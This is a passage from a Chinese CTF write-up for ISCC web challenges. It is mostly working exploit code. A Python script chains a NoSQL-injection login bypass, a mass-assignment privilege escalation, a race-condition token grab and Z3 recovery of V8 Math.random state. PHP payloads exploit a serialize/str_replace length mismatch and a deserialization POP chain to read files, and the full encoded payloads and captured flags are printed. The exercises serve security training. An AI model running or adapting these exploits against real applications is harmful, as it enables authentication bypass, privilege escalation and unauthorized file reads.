x ^= x >> 17
x ^= y
x ^= y >> 26
return s0n & MASK, x & MASK


def add_observed_number(solver, s0, number):
lo = (number * DEN + 999_999) // 1_000_000
hi = ((number + 1) * DEN + 999_999) // 1_000_000
top = LShR(s0, 12)
solver.add(UGE(top, BitVecVal(lo, 64)))
solver.add(ULT(top, BitVecVal(hi, 64)))


def predict_next(numbers):
s0 = BitVec("s0", 64)
s1 = BitVec("s1", 64)
solver = Solver()
solver.set(timeout=20000)
solver.add(s0 != BitVecVal(0, 64), s1 != BitVecVal(0, 64))
cur0, cur1 = s0, s1
add_observed_number(solver, cur0, numbers[0])
for number in numbers[1:]:
cur0, cur1 = step_z3(cur0, cur1)
add_observed_number(solver, cur0, number)
if solver.check() != sat:
raise RuntimeError("failed to recover Math.random state")
model = solver.model()
a = model[s0].as_long()
b = model[s1].as_long()
for _ in numbers[1:]:
a, b = step_int(a, b)
a, b = step_int(a, b)
return int(((a >> 12) / DEN) * 1_000_000)


def parse_zhen_page(html):
round_match = re.search(r'name="round" value="(\d+)"', html)
hist_match = re.search(r"const HISTORY = ([.*?]);", html, re.S)
if not round_match or not hist_match:
raise RuntimeError("failed to parse /zhen page")
current_round = int(round_match.group(1))
history = json.loads(hist_match.group(1))
history = sorted(history, key=lambda item: item["round"])
return current_round, history


def main():
code, html = http_json("GET", "/zhen")
if code != 200:
raise RuntimeError(f"GET /zhen failed: HTTP {code} {html}")
_, history = parse_zhen_page(html)
numbers = [item["number"] for item in history]
print(predict_next(numbers))


if __name__ == "__main__":
main()

一定注意要POST发包,改session!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

本次复现的成功响应如下:

八卦星图馆 截图 15

1
{"message":"🎴 卦象大吉!内殿大门已开","flag":"ISCC{bagua_MYQH1826B5gEJLo}","next":"恭喜少侠得见祖师真容"}

Flag:ISCC{bagua_MYQH1826B5gEJLo}

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#!/usr/bin/env python3
# -_- coding: utf-8 -_-
import concurrent.futures
import http.cookiejar
import json
import re
import threading
import time
import urllib.error
import urllib.request
from z3 import BitVec, BitVecVal, LShR, Solver, UGE, ULT, sat

BASE = "<目标地址>"
PARALLEL_GRABS = 32
NEEDED_TOKENS = 3
MASK = (1 << 64) - 1
DEN = 1 << 52


class Client:
def __init__(self, base):
self.base = base.rstrip("/")
self.jar = http.cookiejar.CookieJar()
self.opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(self.jar)
)

def request(self, method, path, body=None, headers=None, timeout=15):
data = None
req_headers = {} if headers is None else dict(headers)
if body is not None:
data = json.dumps(body, ensure_ascii=False).encode("utf-8")
req_headers["Content-Type"] = "application/json"

req = urllib.request.Request(
self.base + path,
data=data,
headers=req_headers,
method=method,
)
try:
with self.opener.open(req, timeout=timeout) as resp:
raw = resp.read()
return resp.status, raw.decode("utf-8", errors="replace")
except urllib.error.HTTPError as exc:
raw = exc.read()
return exc.code, raw.decode("utf-8", errors="replace")

def get(self, path):
return self.request("GET", path)

def post(self, path, body=None):
return self.request("POST", path, body)

def cookie_header(self):
pairs = []
for cookie in self.jar:
pairs.append(f"{cookie.name}={cookie.value}")
return "; ".join(pairs)


def parse_json(text):
try:
return json.loads(text)
except json.JSONDecodeError:
return {}


def step_z3(s0, s1):
x = s0
y = s1
s0n = y
x = x ^ (x << 23)
x = x ^ LShR(x, 17)
x = x ^ y
x = x ^ LShR(y, 26)
return s0n, x


def step_int(s0, s1):
x = s0
y = s1
s0n = y
x ^= (x << 23) & MASK
x ^= x >> 17
x ^= y
x ^= y >> 26
return s0n & MASK, x & MASK


def random_number_from_state(s0):
return int(((s0 >> 12) / DEN) * 1_000_000)


def add_observed_number(solver, s0, number):
lo = (number * DEN + 999_999) // 1_000_000
hi = ((number + 1) * DEN + 999_999) // 1_000_000
top = LShR(s0, 12)
solver.add(UGE(top, BitVecVal(lo, 64)))
solver.add(ULT(top, BitVecVal(hi, 64)))


def predict_next_v8_math_random(numbers):
if not numbers:
raise RuntimeError("empty Math.random history")

s0 = BitVec("s0", 64)
s1 = BitVec("s1", 64)
solver = Solver()
solver.set(timeout=20000)
solver.add(s0 != BitVecVal(0, 64), s1 != BitVecVal(0, 64))

cur0, cur1 = s0, s1
add_observed_number(solver, cur0, numbers[0])
for number in numbers[1:]:
cur0, cur1 = step_z3(cur0, cur1)
add_observed_number(solver, cur0, number)

if solver.check() != sat:
raise RuntimeError("failed to recover Math.random state")

model = solver.model()
a = model[s0].as_long()
b = model[s1].as_long()
for _ in numbers[1:]:
a, b = step_int(a, b)
a, b = step_int(a, b)
return random_number_from_state(a)


def qian_login(client):
payload = {
"username": "qingyun",
"password": {"$ne": None},
"$set": {"role": "apprentice"},
}
code, text = client.post("/qian/login", payload)
if code != 200:
raise RuntimeError(f"qian login failed: HTTP {code} {text}")


def dui_escalate(client):
payload = {
"title": "掌门",
"bio": "x",
"role": "admin",
"isAdmin": True,
"isMaster": True,
"isLeader": True,
"admin": True,
"master": True,
"leader": True,
}
code, text = client.post("/dui/update", payload)
if code != 200:
raise RuntimeError(f"dui update failed: HTTP {code} {text}")


def race_grab(cookie_header, barrier):
req = urllib.request.Request(
BASE + "/li/grab",
data=b"{}",
headers={
"Content-Type": "application/json",
"Cookie": cookie_header,
},
method="POST",
)
barrier.wait()
try:
with urllib.request.urlopen(req, timeout=15) as resp:
raw = resp.read().decode("utf-8", errors="replace")
return resp.status, parse_json(raw)
except urllib.error.HTTPError as exc:
raw = exc.read().decode("utf-8", errors="replace")
return exc.code, parse_json(raw) or {"raw": raw}


def li_grab_tokens(client):
cookie_header = client.cookie_header()
barrier = threading.Barrier(PARALLEL_GRABS)
tokens = []

with concurrent.futures.ThreadPoolExecutor(max_workers=PARALLEL_GRABS) as pool:
futures = [
pool.submit(race_grab, cookie_header, barrier)
for _ in range(PARALLEL_GRABS)
]
for future in concurrent.futures.as_completed(futures):
code, data = future.result()
if code == 200 and "token" in data:
tokens.append(data["token"])

unique_tokens = list(dict.fromkeys(tokens))
if len(unique_tokens) < NEEDED_TOKENS:
raise RuntimeError("race failed, not enough tokens")
return unique_tokens[:NEEDED_TOKENS]


def parse_zhen_page(html):
round_match = re.search(r'name="round" value="(\d+)"', html)
hist_match = re.search(r"const HISTORY = (\[.*?\]);", html, re.S)
if not round_match or not hist_match:
raise RuntimeError("failed to parse zhen page")

current_round = int(round_match.group(1))
history = json.loads(hist_match.group(1))
history = sorted(history, key=lambda item: item["round"])
return current_round, history


def zhen_predict(client, tokens, max_retry=5):
for _ in range(max_retry):
code, html = client.get("/zhen")
if code != 200:
raise RuntimeError(f"zhen page failed: HTTP {code} {html}")

current_round, history = parse_zhen_page(html)
numbers = [item["number"] for item in history]
number = predict_next_v8_math_random(numbers)
code, text = client.post(
"/zhen/predict",
{"round": current_round, "number": number, "tokens": tokens},
)
data = parse_json(text)
if code == 200 and "flag" in data:
return data["flag"]
if "只可预测第" in text or "current_round" in text:
time.sleep(0.5)
continue
raise RuntimeError(f"zhen predict failed: HTTP {code} {text}")

raise RuntimeError("round changed too often")


def solve():
for _ in range(1, 6):
client = Client(BASE)
qian_login(client)
dui_escalate(client)
try:
tokens = li_grab_tokens(client)
except RuntimeError:
continue
flag = zhen_predict(client, tokens)
print(flag)
return

raise RuntimeError("failed after several retries")


if __name__ == "__main__":
solve()

输出:

八卦星图馆 截图 16

数字古墓

解题思路

数字古墓 截图 1

虽然阶段一被 ban 了,但从源码可以直接进入这两关对应的 PHP 文件。

数字古墓 截图 2

第一关:Rune Trial

页面如下:

数字古墓 截图 3

源码关键逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class nameA {
public $x;
public $y;

public function __wakeup() {
if ($this->y === 'admin123') {
include('relic_manifest.php');
echo "成功!文件名: " . $filename;
}
}
}

function p2($i) {
$key = "bnhpjowd";
$search = '';
for ($j = 0; $j < strlen($key); $j++) {
$search .= chr(ord($key[$j]) - 1);
}
$replace = 'iscc';
return str_replace($search, $replace, $i);
}

$obj = new nameA($input, $passwd);
$ser = serialize($obj);
$result = p1($ser);
unserialize($result);

漏洞点:

rune_trial.php 是典型的 serialize -> str_replace -> unserialize 长度错位题。替换后字符串长度发生变化,可以把 p 参数中伪造的属性顶进对象里,从而拿到第二关目标文件名。

mechanism_chamber.php 是一条本地类 POP 链。虽然 allowed_classes 只允许题目里定义的类,但魔术方法之间仍然可以串到真实文件读取点,最后读出第一关给出的目标 txt

1
$search = "amgoinvc"

也就是说,程序会把序列化字符串中的每个 amgoinvc 替换成 iscc

这里有一个关键长度差:amgoinvc 长度是 8,iscc 长度是 4。每替换一次,实际字符串会缩短 4 个字节,但序列化字符串里原本声明的 s:...:"..."; 不会改,这样就会造成反序列化时的读指针错位。

利用思路:

x 中出现 4 次 amgoinvc,总共缩短 16 个字节。然后把伪造的属性片段塞进 p 参数里,让反序列化时从 x 的末尾越界继续读到:

1
";s:1:"y";s:8:"admin123";}

这样 __wakeup() 看到的 $this->y 就会变成 admin123

直接利用:

请求参数如下:

1
<目标地址>/rune_trial.php?d=amgoinvcamgoinvcamgoinvcamgoinvc&p=";s:1:"y";s:8:"admin123";}

访问后即可拿到文件名

数字古墓 截图 4

成功!文件名: W3f82KD9.txt

第二关:Awakening Mechanism

数字古墓 截图 5

关键类之间的关系如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
class RitualEngine {
protected $settings;
public $target;
public $callback;

public function run($file = null) {
$name = $file ?: $this->target;
if (!preg_match('/^[A-Za-z0-9_-]+\.txt$/', $name)) {
return;
}
$path = __DIR__ . DIRECTORY_SEPARATOR . $name;
$real = realpath($path);
if ($real === false) {
return;
}
if (strpos($real, __DIR__ . DIRECTORY_SEPARATOR) !== 0) {
return;
}
if (@is_file($real) && @filesize($real) < 2048) {
@highlight_file($real);
}
}

public function __invoke() {
$action = @unserialize($this->callback);
[$obj, $method] = $action;
$map = ['view' => 'run'];
$real = $map[$method];
$obj->$real();
}
}

class GateSentinel {
public $object;
public $tool;

public function __toString() {
if (isset($this->tool['blade'])) {
$this->tool['blade']->object;
}
return "GateSentinel";
}

public function __wakeup() {
if (preg_match("/..|flag|etc/i", $this->object)) {
$this->object = "index.html";
}
}
}

class Keystone {
public $center;

public function __get($name) {
$processor = $this->center;
if (is_callable($processor)) {
return $processor();
}
return null;
}
}

漏洞点:

看起来有很多限制:

1
2
3
allowed_classes 只允许题目里定义的类
GateSentinel::__wakeup()会过滤..、flag、etc
RitualEngine::run()限制文件名必须匹配^[A-Za-z0-9_-]+.txt$

并且还做了 realpath 和目录前缀校验。

但真正的问题不在绕目录,而在于怎么走到 run()

触发链:

可以构造这样一条链:

外层反序列化一个 GateSentinel,让它的 object 是另一个 GateSentinel 对象。

1
2
3
GateSentinel::__wakeup()里对对象执行preg_match()时,会触发这个内层对象的__toString()
__toString()里访问$this->tool['blade']->object
blade放一个Keystone对象,访问不存在属性object时触发Keystone::__get()

Keystone::$center 放一个 RitualEngine

1
2
因为RitualEngine实现了__invoke(),所以在__get()里is_callable($ processor)为真,接着执行 $processor()
RitualEngine::__invoke()会反序列化自己的callback,从中取出[$obj, "view"]

view 被映射成 run,最终调用内部另一个 RitualEngine->run(),读取第一关得到的 W3f82KD9.txt

第一关已经告诉我们真实文件名就在当前目录下,所以第二关直接合法读取:

1
W3f82KD9.txt

数字古墓 截图 6

Exp

第二关 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$targetFile = 'W3f82KD9.txt';

$reader = new RitualEngine();
$reader->target = $targetFile;
$reader->callback = null;

$dispatcher = new RitualEngine();
$dispatcher->target = null;
$dispatcher->callback = serialize([$reader, 'view']);

$keystone = new Keystone();
$keystone->center = $dispatcher;

$inner = new GateSentinel();
$inner->object = 'start.html';
$inner->tool = ['blade' => $keystone];

$outer = new GateSentinel();
$outer->object = $inner;
$outer->tool = null;

$payload = serialize($outer);

echo "Raw payload:\n";
echo $payload . "\n\n";
echo "POST body:\n";
echo "data=" . urlencode($payload) . "\n";

输出示例:

1
2
Raw payload:
O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";s:10:"start.html";s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":3:{s:11:"\0*\0settings";N;s:6:"target";N;s:8:"callback";s:120:"a:2:{i:0;O:12:"RitualEngine":3:{s:11:"\0*\0settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";N;}i:1;s:4:"view";}";}}}}s:4:"tool";N;}

POST body:

1
data=O%3A12%3A%22GateSentinel%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A12%3A%22GateSentinel%22%3A2%3A%7Bs%3A6%3A%22object%22%3Bs%3A10%3A%22start.html%22%3Bs%3A4%3A%22tool%22%3Ba%3A1%3A%7Bs%3A5%3A%22blade%22%3BO%3A8%3A%22Keystone%22%3A1%3A%7Bs%3A6%3A%22center%22%3BO%3A12%3A%22RitualEngine%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00settings%22%3BN%3Bs%3A6%3A%22target%22%3BN%3Bs%3A8%3A%22callback%22%3Bs%3A120%3A%22a%3A2%3A%7Bi%3A0%3BO%3A12%3A%22RitualEngine%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00settings%22%3BN%3Bs%3A6%3A%22target%22%3Bs%3A12%3A%22W3f82KD9.txt%22%3Bs%3A8%3A%22callback%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22view%22%3B%7D%22%3B%7D%7D%7D%7Ds%3A4%3A%22tool%22%3BN%3B%7D